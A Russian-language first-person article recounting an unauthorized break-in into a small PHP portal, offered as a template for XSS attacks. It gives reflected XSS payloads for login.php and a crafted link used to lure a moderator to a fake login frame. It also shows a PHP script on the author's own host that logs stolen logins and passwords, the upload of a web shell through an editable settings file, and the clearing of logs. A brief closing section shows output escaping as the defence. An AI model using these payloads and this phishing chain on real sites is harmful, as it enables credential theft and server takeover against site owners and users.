В данной статье я намерен описать один из взломов, проведенных мной с использованием техники xss атак. А так же доказать начинающим веб-программистам, что не такая мелочь – этот xss. В данной статье не будет глупых попыток увести куки админа – здесь этому виду атак дана новая жизнь. В первую очередь я рекомендую прочитать статью веб-программистам, наивно полагающим, что их скрипты в безопасны. После прочтения многие из вас изменят свое мнение.
В этом году я провел небольшой тест, на безопасность веб ресурсов, написанных «начинающими программистами». И что вы думаете? Каждый третий из проверяемых мной сайтов был подвержен xss атаке, т.к. сегодняшние малограмотные программисты очень плохо представляют себе все тонкости этого дела. Далее я намерен описать реальный случай из моей практики, который является четким шаблоном успешной Cross site scripting атаки. Все нижеизложенное предназначено только для ознакомления и закрытия дыр, в первую очередь в головах программистов.
Эта история началась с того, что я нашел в рунете один небольшой портальчик. Сам по себе он был бесполезен и неинформативен. Там были какие-то бесполезные статьи о жизни, чат и форум. Но меня заинтересовало другое. Данный сайт базировался не на каком либо известном движке, а был самостоятельно написан на php. После прочтения информации о сайте я в этом убедился. У меня сразу же возникло ужасное желание протестировать его на защищенность. На этом сайте, при регистрации создавался один аккуант на чат, форум и администраторскую часть (разумеется, туда пускали только «особых членов»). Т.е. если удастся спереть логин и пароль админа, то с сайтом я смогу творить что угодно. Это и стало главной задачей.
Сервер работал по стандартной схеме. Если вы не авторизированны, то в правом верхнем углу экрана вы можете ввести логин/пароль для входа на сайт. Гостю были доступны только некоторые (самые убогие) разделы сайта. Это сразу привлекло мое внимание. Первым делом я ввел левый логин и оформил запрос, нажав на кнопку «Войти». Хорошо, я получил ошибку «Данный юзер не существует» и скрипт впечатал мой логин в соответствующее поле на форме. Я знал, что скрипт будет печатать логин на форме, следовательно далее проверяем на стандартную xss. Интересно, предусмотрело ли юное дарование, что я не совсем традиционно оформлю запрос? Ответ оказался – нет, не предусмотрело. После ошибки, мой логин был любезно напечатан на странице приблизительно такой строкой php кода:
<input type=text name=login value=”<?=$login ?>”>
Как я узнал позже, это предположение оказалось правильным. Вот именно из-за этой строчки возможно выполнение xss атаки. Если кто не понял – объясняю. Скрипт не проверяет вводимые пользователем данные и не переводит их в html символы, а затем просто печатает их в теге input свойства value. Это является грубейшей ошибкой, т.к. если правильно оформить запрос (см ниже), то мы выйдем за пределы тега input и выполним свой код(не php):
“><h1>stuped_lamer
(если кто не понял, это я ввел в поле “логин”)
Символами “> мы выходим из этого тега, а далее просто пишем свой код. В данном случаем выполнится <h1>stuped_lamer.
Отлично! XSS атака возможна, далее, главной задачей является получение логина и пароля администратора. Следующим шагом я зарегился у них на сервере. После входа под моим ником мне стала видна табличка с надписью «кто сейчас на сайте». Там я увидел, что какой-то крендель с полномочиями охранника (не админа!) сидит в чате. Иду за ним. Чат был тоже самописным. Возможно там тоже были дыры, но искать я их не стал – это был «план Б».
Вся атака, глазами «охранника» выглядела примерно вот так - у него закончилось время действия сессии, далее его перекинуло на главную страницу сервера (это было отчетливо видно в адресной строке!) для авторизации. Теперь я расскажу, как это выглядело «по ту сторону фокуса». Разумеется, все эти манипуляции с «охранником» сотворил мой скрипт, который он сам выполнил, зайдя по моей ссылки. Заставить его нажать на злополучную ссылку не составило никакого труда. Как оказалось, сидевший в чате охранник был автором какой-то статьи с этого сервера. Ну вот я и указал ему сайт, на котором кто-то копировал его труды и изменял авторство =)) В чате был специальный тег, позволяющий вставлять ссылки в чат. При этом и сама ссылка и заголовок устанавливались разными. Т.е. нажав на http://domain.com его кидало не на на http://domain.com, а на дырявую страницу его сайта, где и выполнялся скрипт, приложенный к адресу.
Для тех кто не понял объясняю детально. Я знал, что скрипт авторизации дырявый и передаются в него логин, пароль и имя кнопки отправки, т.к. иначе скрипт отображал поля ввода и кнопку. Скрипт назывался login.php. Просмотрев форму отправки в html виде я понял, что в параметрах name и pass – передаются логин и пароль соответственно. Имя кнопки отправки – submit. Следовательно, если зайти по ссылке http://адресс_сайта/login.php?pass=&login=”> <h1>Hello_admin&submit - выполнится наш скрипт, который мы передаем в переменной login. Разумеется, здороваться с админом нам не нужно, поэтому в переменной логин нужно предать другой скрипт. Он должен реально закрыть сессию админа, перекинуть его на главную страницу и перехватить введенный от туда логин и пароль.
Все просто. Приступаем. С закрытием сессии все было совсем просто. В каждый скрипт передавался, методом get, номер сессии, и если его не получали, то вас считали гостем и закрывали сессию. Сайт состоял из фреймов, их было три: на авторизацию, разделы сайта и самый основной, для загрузки страниц. Фрейм на авторизацию назывался avtorizacia, т.е. если зайти по ссылке <a target=”avtorizacia” href=http://my_sait/page.php>ссылка</a> - то http://my_sait/page.php откроется не в новом окне, а именно во фреме авторизации сайта. Т.е. для выполнения задуманного, нам необходимо, чтобы охранник зашел по трем ссылка. Одна – закрытие авторизации и перекидывании на главную страницу сервера (адресная строка это подтверждает). Вторая – на подмену фрейма авторизации, чтобы там грузилась наша пага, идентичная той. Третья ссылка – и есть сайт с клонированной статьей (чтобы охрана не заподозрила меня во взломе, – читай для отвода глаз), я дал ссылку на еррор 404.
Финальный вариант ссылки с редиректами выглядит примерно вот так:
“>http://адресс_сайта/login.php?pass=&login=”> <script>window.location.href='/index.php';</script>
<script>window.location.href='http://адресс_моего_сайта/login.php ' target=avtorizacia;</script>
<script>window.location.href='http://super_sait.com';</script>&submit
Так же у меня был сайт на holm.ru где лежало два скрипта: один login.php – идентичный ихнему, он отсылал запрос на второй файл, второй - save.php для сохранения переменных:
<?php
$open=fopen(lamer.html, “a+”);
fwrite($open, “Имя: $login Пароль: $pass <hr>”);
echo “Проверьте правильность логина/пароля и повторите попытку”:
?>
Вот так я и получил акаунт охранника. Далее я зашел в администраторскую часть сайта. Я сразу обломался и понял, что у меня практически нет никакой власти. Единственное, что я мог - модерировать форум, чат, банить юзеров, а так же имелся доступ к настройкам этого портала. В настройках был доступен один файл с расширением php, где хранились все настройки цвета, шрифтов и т.п. Это сразу же вызвало улыбку =)). Даже не думал заливать туда вот такую фигню , а скопировал туда php код своего шела. После этого написал в адресной строке полный путь до этого файлика и узрел знакомый face своего скрипта. Получается, что доступ к настройкам не был закрыт из вне? Просто сказочное ламерство!
Вот так просто я получил полный доступ к дирам сайта. Ничего дефейсить я там не стал, почистив логи просто свалил. Потом написал письмо админу сайта о найденном баге. Ответа я так и не получил, но спустя пару дней xss’ки на сайте уже не было =))
Защита
Что касается защиты от подобного рада атак, так тут все вообще просто. Весь секрет состоит в том, чтобы перед печатью переменных максимально их обезопасить. Можно перевести их в html знаки. В php это можно сделать вот так:
$login = htmlspecialchars($login);
Или можно просто удалить все теги из логина:
$login=strip_tags($login);